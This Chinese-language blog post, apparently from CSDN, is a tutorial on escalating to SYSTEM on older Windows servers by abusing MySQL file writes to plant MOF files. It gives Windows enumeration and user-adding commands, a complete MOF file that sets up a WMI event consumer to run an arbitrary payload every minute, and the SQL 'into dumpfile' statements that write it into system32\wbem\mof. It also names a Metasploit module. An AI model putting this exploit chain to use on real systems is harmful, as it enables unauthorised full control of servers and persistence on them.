Windows提权之第三方组件mysql提权(mof)

为什么要提权?

答:因为webshell的权限一般是继承中间件的权限,此时就需要提高到系统管理员权限才方便进一步渗透。一般java中间件运行权限最高。

Windows提权常用命令

内置组:
Administrators(管理员组)
Guests (来宾组,权限最低,默认禁止)
Users(新建用户组)

net user 查看所有用户信息
net user + 用户名 查看此用户信息
net user + 用户名 /del 删除此用户
net user + 用户名+密码 /add 添加用户
net localgroup 查看组
net localgroup + 组名 查看组成员
net localgroup + 组名 +用户名 /add 将该用户增加到指定组里
whoami  /all  查看当前用户详细信息
hostname 主机名
systeminfo 系统信息
net start 查看开启的服务
query user 获取在线用户
netstat -ano 获取网络连接
dir c:\progamdata   分析安装了哪些杀软,因为一般杀软会把一些信息放在这个目录
tasklist /svc | find +服务名 查看进程中服务的pid
netstat -ano | find "pid"  定位端口
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁

1.什么是MOF?

MOF 文件是 mysql 数据库的扩展(C:\WINDOWS\system32\wbem\mof)叫做”托管对象格式”,其作用是每隔60s就会去监控进程创建和死亡,因为 MOF 文件每60s就会执行,且是系统权限,所以如果我们有权限替换原有的MOF文件,就能获得 system 权限。

2. MOF提权条件

Windows <= 2003
mysql 数据库的账号,且账号有写入权限mysql
在C:\WINDOWS\system32\wbem\mof目录有写入权限

3.一般方法

3.1有webshell

新建一个 test.mof 文件,内容如下

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"payload\")";\\将想要执行的payload写在这即可
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

将该文件利用webshell上传到目标主机中,然后执行以下命令

这里只能用 into dumpfile,不能用 into outfile,因为 into outfile函数会在行末端写入新行,更致命的是会转义换行符,这样的话这个二进制可执行文件就会被破坏
select load_file('C:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\user.mof') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\user.mof';

3.2无webshell但能链接数据库

将创建的test.mof文件十六进制编码(ascii)后用sql语句写入

select 十六进制代码(ascii代码) into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\test.mof';

简单总结

  1. 可以利用 msf 的exploit/windows/mysql/mysql_mof模块进行自动化提权
  2. 成功执行的文件会在C:\WINDOWS\system32\wbem\mof\good目录中,
    失败在C:\WINDOWS\system32\wbem\mof\bad目录中
  3. 查看mysql配置文件(Windows下为my.ini, Linux下的my.cnf)secure_file_priv的值可以知道mysql是否具有写入权限
show global variables like 'secure%';
     当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
     当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权,tmp也可以改成其他
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件

参考文献

good

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值